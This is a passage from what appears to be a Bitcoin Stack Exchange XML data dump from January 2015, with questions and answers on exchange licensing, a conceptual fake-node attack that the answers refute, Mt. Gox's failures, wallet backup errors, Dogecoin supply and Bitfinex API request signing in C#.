made.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition, Coinbase needed money transmitter licenses to operate as an exchange.  They already obtained money transmitter licenses in order to legally operate &lt;a href=&quot;https://support.coinbase.com/customer/portal/articles/1780543-what-is-the-usd-wallet-&quot; rel=&quot;nofollow&quot;&gt;USD wallets&lt;/a&gt; (which is why their USD wallets are not available in all US states), but Bitcoin couldn't hope to operate as a legal exchange in the United States &lt;em&gt;without&lt;/em&gt; money transmitter licenses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regulations in the United States have required that certain types of Bitcoin businesses have money transmitter licenses, as &lt;a href=&quot;http://www.coindesk.com/bitcoin-law-what-us-businesses-need-to-know/&quot; rel=&quot;nofollow&quot;&gt;business attorney Marco Santori explains&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The Financial Crimes Enforcement Network (“FinCEN”) is the bureau of&#xA;  the US Department of the Treasury that enforces federal regulation of&#xA;  money services businesses in the United States.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;On March 18, 2013, FinCEN published guidance announcing that it would&#xA;  make no distinction between transmitters of government (or “fiat”)&#xA;  currency and transmitters of bitcoin, which it now famously referred&#xA;  to as a “decentralized convertible virtual currency”, rather than by&#xA;  name itself.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Thus, businesses that transmitted, sold or exchanged bitcoin were now&#xA;  Money Services Businesses, specifically “money transmitters”, required&#xA;  to register with FinCEN and satisfy ongoing record-keeping and&#xA;  reporting requirements. From the perspective of the federal&#xA;  government, an entire industry of visionary startups that had not&#xA;  already registered, and had no intention of registering, became&#xA;  potential criminal enterprises overnight.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;He goes on to state that spending Bitcoins on goods / services does not make one a money transmitter, but that transmitting money (fiat money or cryptocurrency) does. In addition, exchanging fiat currency for cryptocurrency, cryptocurrency for fiat currency, or even between different cryptocurrencies makes one a money transmitter in the eyes of the US federal government.&lt;/p&gt;&#xA;" OwnerUserId="22810" LastActivityDate="2015-01-27T08:59:45.977" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35754" PostTypeId="1" AcceptedAnswerId="35755" CreationDate="2015-01-27T10:49:50.497" Score="2" ViewCount="313" Body="&lt;p&gt;There are currently about 7000 nodes in the Bitcoin network. The security rests on the fact that someone adding nodes would have have to expend CPU power to hash transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What prevents someone from creating a large number (e.g. 10,000 to 20,000 or more nodes) and then execute the following attack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The objective of the bogus network would be to appear to anyone, except for the legitimate nodes, as producing legitimate verification of Bitcoin transactions without actually doing the work. While the legitimate network would know something is wrong; to those outside it would appear that a majority were approving the transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bogus nodes run a stripped down version of Bitcoin which accepts new blocks from other bogus nodes, but not new legitimate ones. The bogus software is designed to make the blocks look as real as possible, chain together, but without requiring the true proof of work. The nodes could be bots on compromised computers. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The nodes might do something like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Gather any transactions sent to the network, including ones with invalid signatures and perhaps other invalid information, including thefts by the schemers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) The nodes in concert generate the block header and hash, by hashing once with some pre-aggreed upon nonce. They don't bother to do the repeated search. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) All the bogus nodes accept the new block, send their acceptance out to the network and start creating the next block&lt;/p&gt;&#xA;" OwnerUserId="23096" LastEditorUserId="23096" LastEditDate="2015-01-27T11:00:44.357" LastActivityDate="2015-01-28T03:29:33.157" Title="Can an attacker create many nodes that approve blocks without work?" Tags="|security|network|race-attack|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35755" PostTypeId="2" ParentId="35754" CreationDate="2015-01-27T11:43:13.207" Score="6" Body="&lt;p&gt;You're essentially talking about a &quot;fork&quot; - or a separate chain. It wouldn't and couldn't interface with bitcoin - merely work (at best) alongside it. Exchanges, merchants, and official bitcoin wallets could not be fooled into using this alternative. Someone would have to download a compromised client. As each block refers to the previous one, there would be no way for them to &quot;inject&quot; fake blocks in the way.&lt;/p&gt;&#xA;" OwnerUserId="23111" LastActivityDate="2015-01-27T11:43:13.207" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35756" PostTypeId="2" ParentId="35752" CreationDate="2015-01-27T11:46:54.880" Score="2" Body="&lt;p&gt;It seems like the seed node 72.52.4.91:11050 is down. You either need to provide additional seeds (by modifying your logoscoin.conf and using addnode) - or contact the coin developers and ask them to fix it.&lt;/p&gt;&#xA;" OwnerUserId="23111" LastActivityDate="2015-01-27T11:46:54.880" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35758" PostTypeId="2" ParentId="35746" CreationDate="2015-01-27T14:09:49.973" Score="4" Body="&lt;p&gt;Specifically:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;They blamed transaction malleability for a hack, which was clearly a lie - blaming Bitcoin for their own mistakes.&lt;/li&gt;&#xA;&lt;li&gt;They stopped withdrawals but continued allowing deposits and trading. A leaked strategy document shows that this was an attempt to conceal the size of their losses from the public, ie they didnt' come clean when they should have .  &lt;a href=&quot;http://www.scribd.com/doc/209050732/MtGox-Situation-Crisis-Strategy-Draft#scribd&quot; rel=&quot;nofollow&quot;&gt;http://www.scribd.com/doc/209050732/MtGox-Situation-Crisis-Strategy-Draft#scribd&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Their communication with their customers leading up to the hack was generally awful.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="6694" LastActivityDate="2015-01-27T14:09:49.973" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35760" PostTypeId="1" AcceptedAnswerId="35761" CreationDate="2015-01-27T23:56:18.137" Score="5" ViewCount="1196" Body="&lt;p&gt;Is the genesis block reward forever unspendable?&lt;/p&gt;&#xA;" OwnerUserId="6661" LastEditorUserId="6661" LastEditDate="2015-01-29T23:45:41.080" LastActivityDate="2015-01-29T23:45:41.080" Title="Is it true the genesis block reward can't be spent forever?" Tags="|genesis-block|coinbase-transaction|" AnswerCount="1" CommentCount="2" ClosedDate="2015-01-29T16:38:41.830" ContentLicense="CC BY-SA 3.0" />
  <row Id="35761" PostTypeId="2" ParentId="35760" CreationDate="2015-01-27T23:56:18.137" Score="4" Body="&lt;p&gt;There is no technical constraint causing the genesis block's reward to be unspendable forever.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is a bug that has now become the accepted standard.  In the future the genesis block reward could be spent but clients must be updated to fix this bug or they will reject blocks containing a valid input referring to this transaction (4a5e1e4baab89f3a32518a88c31bc87f618f76673e2cc77ab2127b7afdeda33b).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other clients outside of bitcoind, like btcd, also mimic this bug so they don't risk a fork if Satoshi ever decided to spend these coins.  Seeing that Satoshi isn't around much fixing this bug isn't exactly a priority and there is a good chance that this might never be &quot;fixed&quot;.  &lt;/p&gt;&#xA;" OwnerUserId="6661" LastEditorUserId="6661" LastEditDate="2015-01-28T05:00:43.390" LastActivityDate="2015-01-28T05:00:43.390" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35763" PostTypeId="2" ParentId="35754" CreationDate="2015-01-28T03:29:33.157" Score="1" Body="&lt;p&gt;There is no acceptance to send to the network. Every node makes its own, independent decision of what blocks to accept based on what chain contains only valid blocks and has the most proof of work. This is the entire rationale behind proof of work and the reason it works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The rule is this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Invalid blocks are always ignored. Blocks must have only valid transactions. Blocks must chain to another valid block that itself chains only to valid blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Among valid blocks, the one with the most proof of work behind it is the one a client considers the tip of the blockchain.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2015-01-28T03:29:33.157" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35764" PostTypeId="1" AcceptedAnswerId="35765" CreationDate="2015-01-28T03:41:35.340" Score="4" ViewCount="1383" Body="&lt;p&gt;I downloaded and ran bitcoin-qt to play around with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First thing I did was create a wallet passphrase. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second thing I did was try to create a wallet backup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I got this message:&#xA;Error: Wallet backup failed! (code -4)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I simply delete the wallet file (no coins on it yet) and then restart bitcoin, everything works fine.  But if I try to encrypt the wallet and then create a backup I get the error again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I missing?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;getinfo&#xA;{&#xA;&quot;version&quot; : 90300,&#xA;&quot;protocolversion&quot; : 70002,&#xA;&quot;walletversion&quot; : 60000,&#xA;&quot;balance&quot; : 0.00000000,&#xA;&quot;blocks&quot; : 340782,&#xA;&quot;timeoffset&quot; : -3,&#xA;&quot;connections&quot; : 8,&#xA;&quot;proxy&quot; : &quot;&quot;,&#xA;&quot;difficulty&quot; : 41272873894.69702100,&#xA;&quot;testnet&quot; : false,&#xA;&quot;keypoololdest&quot; : 1422415118,&#xA;&quot;keypoolsize&quot; : 101,&#xA;&quot;unlocked_until&quot; : 1422419612,&#xA;&quot;paytxfee&quot; : 0.00000000,&#xA;&quot;relayfee&quot; : 0.00001000,&#xA;&quot;errors&quot; : &quot;&quot;&#xA;}&#xA;&#xA;&amp;gt;backupwallet wallet.backup&#xA;Error: Wallet backup failed! (code -4)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When looking at the debug.log file I see this error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2015-01-27 16:07:36 error copying wallet.dat to wallet.backup - boost::filesystem::copy_file: Access is denied: &quot;C:\Users\Matthew\AppData\Roaming\Bitcoin\wallet.dat&quot;, &quot;wallet.backup&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="23121" LastEditorUserId="2306" LastEditDate="2017-03-01T17:24:45.190" LastActivityDate="2018-07-22T02:22:22.707" Title="Error: Wallet backup failed! (code -4) when setting up bitcoin-qt for first time" Tags="|bitcoin-core|wallet|backup|rpc-error-4|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35765" PostTypeId="2" ParentId="35764" CreationDate="2015-01-28T04:04:52.390" Score="3" Body="&lt;p&gt;I've looked at Bitcoin's &lt;code&gt;backupwallet&lt;/code&gt; code, and that error is triggered by a filesystem error. I can't tell what kind of filesystem error it is, though. Please open debug.log in the Bitcoin directory. There should be a line like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;date + time&amp;gt; error copying wallet.dat to &amp;lt;path&amp;gt; - &amp;lt;kind of error&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is the most common type of error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;error copying wallet.dat to &amp;lt;dest&amp;gt; - boost::filesystem::copy_file: Access is denied: &quot;&amp;lt;src&amp;gt;&quot;, &quot;wallet.backup&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This means Bitcoin is trying to backup your wallet to C:\Program Files\Bitcoin. You don't have the permissions to backup there. To fix this, run &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;backupwallet &quot;C:\Users\&amp;lt;username&amp;gt;\AppData\Roaming\Bitcoin\wallet.backup&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;instead.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2016-08-29T19:31:41.207" LastActivityDate="2016-08-29T19:31:41.207" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35766" PostTypeId="2" ParentId="18857" CreationDate="2015-01-28T04:07:41.543" Score="9" Body="&lt;p&gt;Add &lt;code&gt;-shrinkdebuglog&lt;/code&gt; to the options you use to start bitcoin, or add &lt;code&gt;shrinkdebuglog=1&lt;/code&gt; to your &lt;code&gt;bitcoin.conf&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Every startup, if the log is larger than 1MB, it will shrink it to 200KB.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2015-01-28T04:07:41.543" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35767" PostTypeId="2" ParentId="35746" CreationDate="2015-01-28T15:36:04.320" Score="2" Body="&lt;p&gt;The above answer is great, but I would also add:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;They used their own patched php code which was naive at best, pretty terrible at worst&lt;/li&gt;&#xA;&lt;li&gt;Their security was so bad that hackers have managed to get the account database more than once&lt;/li&gt;&#xA;&lt;li&gt;They had NO SOURCE CONTROL&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Most of this is in this excellent wired article: &lt;a href=&quot;http://www.wired.com/2014/03/bitcoin-exchange&quot; rel=&quot;nofollow&quot;&gt;http://www.wired.com/2014/03/bitcoin-exchange&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, this is a website that would have been built by amateurs and had no business doing anything security related.&lt;/p&gt;&#xA;" OwnerUserId="23123" LastActivityDate="2015-01-28T15:36:04.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35768" PostTypeId="2" ParentId="35702" CreationDate="2015-01-28T15:39:31.097" Score="0" Body="&lt;p&gt;There is a rather involved answer at here that involves voting pools: &lt;a href=&quot;http://otblog.net/2014/05/voting-pools-stop-plague-bitcoin-heists-thefts-hacks-scams-losses/&quot; rel=&quot;nofollow&quot;&gt;http://otblog.net/2014/05/voting-pools-stop-plague-bitcoin-heists-thefts-hacks-scams-losses/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This still requires that trust be placed in a majority of voting pool members, but this is much more robust than the single exchange model.&lt;/p&gt;&#xA;" OwnerUserId="23123" LastActivityDate="2015-01-28T15:39:31.097" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35769" PostTypeId="2" ParentId="35728" CreationDate="2015-01-28T15:46:14.967" Score="0" Body="&lt;p&gt;You would need an SPV wallet in order to receive bitcoins. The only one I know of that's SPV and runs on Raspberry Pi is this Pi-Wallet, which uses electrum servers to detect payments: &lt;a href=&quot;http://www.pi-wallet.com/pages/free-stuff&quot; rel=&quot;nofollow&quot;&gt;http://www.pi-wallet.com/pages/free-stuff&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that it uses the Armory offline wallet built for Raspberry Pi to actually generate addresses.&lt;/p&gt;&#xA;" OwnerUserId="23123" LastActivityDate="2015-01-28T15:46:14.967" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35770" PostTypeId="2" ParentId="25356" CreationDate="2015-01-28T16:02:40.067" Score="1" Body="&lt;p&gt;From the &lt;a href=&quot;https://bitcoinarmory.com/troubleshooting/#q9&quot; rel=&quot;nofollow&quot;&gt;Armory Support Page&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While Armory is still in Beta, there are still some subtle bugs that cause Armory to misbehave on systems. Armory developers are always working to fix these problems, but it usually requires a bug report submitted from Armory, or you can open a support ticket so we're aware of the problem and can try to fix it. One thing you can try, is to go into the start menu and find the entry for “Armory Bitcoin Client”. Click on the option that says “Armory (offline)”. This will load Armory without most of the operations that cause loading problems. Once that is open, you can go to “Help”–&gt;”Revert All Settings”. This is effectively a “factory reset” of Armory to the state it was in before the first time you used it.&lt;/p&gt;&#xA;" OwnerUserId="23123" LastActivityDate="2015-01-28T16:02:40.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35771" PostTypeId="2" ParentId="35517" CreationDate="2015-01-28T16:12:31.983" Score="0" Body="&lt;p&gt;Richard Kiss has made a nice library for creating/manipulating bitcoin addresses using python here: &lt;a href=&quot;https://github.com/richardkiss/pycoin&quot; rel=&quot;nofollow&quot;&gt;https://github.com/richardkiss/pycoin&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That may be easier than getting RPC to work.&lt;/p&gt;&#xA;" OwnerUserId="23123" LastActivityDate="2015-01-28T16:12:31.983" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35772" PostTypeId="2" ParentId="22729" CreationDate="2015-01-28T16:23:39.437" Score="1" Body="&lt;p&gt;blocktrail has a 2of3 HD Multisig Wallet API, it's setup like: &#xA; - the 1st key being your primary key to use&#xA; - the 2nd key being a backup key you store offline and &#xA; - the 3rd key being a cosign key owned by blocktrail&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it only supports bitcoin and bitcoin testnet atm though ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.blocktrail.com/api/docs#payments_overview&quot; rel=&quot;nofollow&quot;&gt;https://www.blocktrail.com/api/docs#payments_overview&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15209" LastActivityDate="2015-01-28T16:23:39.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35773" PostTypeId="2" ParentId="35713" CreationDate="2015-01-28T16:32:38.967" Score="3" Body="&lt;p&gt;In order to create a transaction, you need the blockchain, or at least the transactions in the blockchain that belong to a particular address (technical term would be unspent transaction outputs or UTXOs for a particular script). There are three ways this can happen:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;You have a local bitcoind or btcd installed which would let you query for transactions, at the expense of downloading the entire blockchain.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You use an electrum or some other SPV server to query for transactions, at the expense of connecting to these nodes.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You use a centralized service such as blockchain.info to gather all transactions at the expense of having to trust the centralized service to be up all the time and to not be corrupt.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Any way you slice it, you cannot get the transaction data from a python library that doesn't connect to some other service. Hence tools like pybitcointools or pycoin will not get you what you need. sx has some tools to look up utxos using method #3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can install Armory or bitcoind and import the private key and use method #1 above or use something like &lt;a href=&quot;http://www.pi-wallet.com&quot; rel=&quot;nofollow&quot;&gt;pi-wallet&lt;/a&gt; and use method #2.&lt;/p&gt;&#xA;" OwnerUserId="23123" LastActivityDate="2015-01-28T16:32:38.967" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35774" PostTypeId="2" ParentId="35728" CreationDate="2015-01-28T16:41:38.063" Score="1" Body="&lt;p&gt;Any special situation for you to want your wallet IN your rapberry?&#xA;A wallet doesn't need to be in a physical machine, actually it can be in a sheet of paper (cold wallet). So if you don't need your server to do anything special with those coins you can just create a paper wallet, and if what you really want is to check if you receive coins, you only have to check from your raspberry your wallet's public key in blockchain to see how many coins has it received.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to create a wallet, you can use &lt;code&gt;vanitygen&lt;/code&gt;. Keep the public and private keys in a safe place and you are ready to go. The day you need to move those coins you will need to install bitcoin-qt wherever you want and import your private key to the default wallet created by bitcoin-qt. Once you've done that you can operate with your coins from that place.&lt;/p&gt;&#xA;" OwnerUserId="12249" LastActivityDate="2015-01-28T16:41:38.063" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="35775" PostTypeId="2" ParentId="30404" CreationDate="2015-01-28T16:48:43.087" Score="1" Body="&lt;p&gt;Not directly. The gateway would have to create a transaction for each user, to award them their interest. It would not be built into the protocols as demurrage is. So it would really be up to each gateway to decide who would get interest and how much (and if this process breaks down, no interest gets paid)&lt;/p&gt;&#xA;" OwnerUserId="15035" LastActivityDate="2015-01-28T16:48:43.087" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35777" PostTypeId="1" AcceptedAnswerId="35781" CreationDate="2015-01-28T21:24:05.780" Score="3" ViewCount="27688" Body="&lt;p&gt;In Bitcoin, there will only ever be ~21,000,000 coins (slightly less, technically, but I'll just use 21 million for easy calculation). Each bitcoin is 10^8 satoshis. This means there be a maximum:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2,100,000,000,000,000 satoshis&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;What is the equivalent number for Dogecoin? &lt;/li&gt;&#xA;&lt;li&gt;Is it larger than the maximum 64 bit unsigned integer?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="18196" LastEditDate="2015-01-28T22:13:10.530" LastActivityDate="2015-02-04T21:47:45.497" Title="How many Dogecoin-satoshis will ever exist?" Tags="|dogecoin|satoshi|reward-schedule|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35778" PostTypeId="1" AcceptedAnswerId="35780" CreationDate="2015-01-28T21:50:49.090" Score="0" ViewCount="416" Body="&lt;p&gt;I setup a new VM with ubuntu 12.04 installed and installed java 8. I cloned the nxt repo and it is throwing this error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Error: Could not find or load main class nxt.Nxt&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is this error and how can this be resolved?&#xA;thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cuj0x.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2015-01-28T22:26:39.333" Title="NXTcoin Startup - Error: Could not find or load main class nxt . Nxt" Tags="|nxt|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35779" PostTypeId="1" CreationDate="2015-01-28T21:51:24.490" Score="0" ViewCount="1004" Body="&lt;pre&gt;&lt;code&gt;            string url = @&quot;https://api.bitfinex.com/v1/balances&quot;;&#xA;            string paramDict = &quot;{\&quot;request\&quot;: \&quot;/v1/balances\&quot;,\&quot;nonce\&quot;: \&quot;&quot; + GetNonce() * 10000 + &quot;\&quot;}&quot;;&#xA;            string payload = Convert.ToBase64String(Encoding.ASCII.GetBytes(paramDict));&#xA;            string signature = BitConverter.ToString(hmac.ComputeHash(Encoding.ASCII.GetBytes(payload))).Replace(&quot;-&quot;,&quot;&quot;).ToLower();&#xA;&#xA;            var headers = new Dictionary&amp;lt;string, string&amp;gt;&#xA;            {&#xA;                {&quot;X-BFX-APIKEY&quot;,key},&#xA;                {&quot;X-BFX-PAYLOAD&quot;,payload},&#xA;                {&quot;X-BFX-SIGNATURE&quot;,signature}&#xA;            };&#xA;&#xA;&#xA;            var request = WebRequest.Create(new Uri(url)) as HttpWebRequest;&#xA;            if (request == null)&#xA;                throw new Exception(&quot;Non HTTP WebRequest&quot;);&#xA;&#xA;            var data = System.Text.Encoding.ASCII.GetBytes(paramDict);&#xA;            request.Method = &quot;POST&quot;;&#xA;            request.Timeout = 30000;&#xA;            request.ContentLength = data.Length;&#xA;            foreach (var a in headers)&#xA;            {&#xA;                request.Headers.Add(a.Key, a.Value);&#xA;            }&#xA;&#xA;            var write = request.GetRequestStream();&#xA;            write.Write(data, 0, data.Length);&#xA;&#xA;            var respone = request.GetResponse() as HttpWebResponse;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is my code. Maybe you can see where I made an error. As for me, API is normal made.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I run this code it returns an HTTP 400 error code.&lt;/p&gt;&#xA;" OwnerUserId="23128" LastEditorUserId="2306" LastEditDate="2015-01-28T22:25:53.263" LastActivityDate="2015-01-28T23:51:01.873" Title="Bitfinex 400 error" Tags="|api|c#|bitfinex|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35780" PostTypeId="2" ParentId="35778" CreationDate="2015-01-28T22:07:33.760" Score="1" Body="&lt;p&gt;You have to first compile by doing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./compile&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./run.sh&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3029" LastEditorUserId="2306" LastEditDate="2015-01-28T22:26:39.333" LastActivityDate="2015-01-28T22:26:39.333" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35781" PostTypeId="2" ParentId="35777" CreationDate="2015-01-28T22:22:34.350" Score="3" Body="&lt;p&gt;Dogecoin has no maximum, &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/19867/reward-schedule-and-maximum-number-of-dogecoins&quot;&gt;because it mints 10k dogecoins per block, forever&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But to answer the &lt;em&gt;spirit&lt;/em&gt; of your question, there are 100 million indivisible parts to a dogecoin. You can see that &lt;a href=&quot;https://github.com/dogecoin/dogecoin/blob/65228644e10328172e9fa3ebe64251983e1153b3/src/util.h#L40&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;static const int64_t COIN = 100000000;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There are currently 97 billion dogecoins. This is a bit more than 2^63 satoshis.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Is it larger than the maximum 64 bit unsigned integer?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No, but it wouldn't matter if it was. There isn't a limit of 2^64 satoshis on the total money in Bitcoin (or altcoins). However, there is a limit of 2^64 satoshis &lt;em&gt;per output&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2015-01-28T22:51:59.900" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35782" PostTypeId="2" ParentId="35779" CreationDate="2015-01-28T23:40:31.987" Score="0" Body="&lt;p&gt;You are getting an &lt;a href=&quot;https://en.wikipedia.org/wiki/List_of_HTTP_status_codes#4xx_Client_Error&quot; rel=&quot;nofollow&quot;&gt;HTTP 400 error&lt;/a&gt; which means the server is (for some reason) refusing to process your request. It could be due to bad string formatting, incorrect or unsuported &lt;a href=&quot;https://en.wikipedia.org/wiki/List_of_HTTP_header_fields#Request_fields&quot; rel=&quot;nofollow&quot;&gt;headers&lt;/a&gt; format or &lt;a href=&quot;https://en.wikipedia.org/wiki/Internet_media_type&quot; rel=&quot;nofollow&quot;&gt;MIME type&lt;/a&gt;. You might want to take a deeper look at your headers and the way the request in general is being parsed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at your code, I can only help but notice the &quot;@&quot; at the beginning of your url string declaration. I do not know if this is intented or whether the language you're coding with requires you to use it (I might just be rising a flag where it isn't), I however, and out of pure personal interest (but might help with the issue) would like to know, are you coding C#? .NET? other?&lt;/p&gt;&#xA;" OwnerUserId="22974" LastActivityDate="2015-01-28T23:40:31.987" CommentCount="2" CommunityOwnedDate="2015-01-28T23:40:31.987" ContentLicense="CC BY-SA 3.0" />
  <row Id="35783" PostTypeId="2" ParentId="35779" CreationDate="2015-01-28T23:51:01.873" Score="1" Body="&lt;pre&gt;&lt;code&gt;string Query()&#xA;        {&#xA;            string url = &quot;https://api.bitfinex.com/v1/balances&quot;;&#xA;            string paramDict = &quot;{\&quot;request\&quot;:\&quot;\\/v1\\/balances\&quot;,\&quot;nonce\&quot;:\&quot;&quot; + GetNonce() * 100000 + &quot;\&quot;}&quot;;&#xA;            string payload = EncodeTo64(paramDict);&#xA;            string message = payload;&#xA;            string skey = secret;&#xA;            System.Text.ASCIIEncoding encoding = new System.Text.ASCIIEncoding();&#xA;            byte[] keyByte = encoding.GetBytes(skey);&#xA;            HMACSHA384 hmacsha384 = new HMACSHA384(keyByte);&#xA;            byte[] messageBytes = encoding.GetBytes(message);&#xA;            byte[] hashmessage = hmacsha384.ComputeHash(messageBytes);&#xA;            string signature = this.ByteToString(hashmessage);&#xA;            var headers = new Dictionary&amp;lt;string, string&amp;gt;&#xA;            {&#xA;                {&quot;X-BFX-APIKEY&quot;,key},&#xA;                {&quot;X-BFX-PAYLOAD&quot;,payload},&#xA;                {&quot;X-BFX-SIGNATURE&quot;,signature}&#xA;            };&#xA;            var request = WebRequest.Create(new Uri(url)) as HttpWebRequest;&#xA;            if (request == null)&#xA;                throw new Exception(&quot;Non HTTP WebRequest&quot;);&#xA;&#xA;            var data = encoding.GetBytes(paramDict);&#xA;            request.Method = &quot;POST&quot;;&#xA;            request.Timeout = 30000;&#xA;            request.ContentLength = data.Length;&#xA;            foreach (var a in headers)&#xA;            {&#xA;                request.Headers.Add(a.Key, a.Value);&#xA;            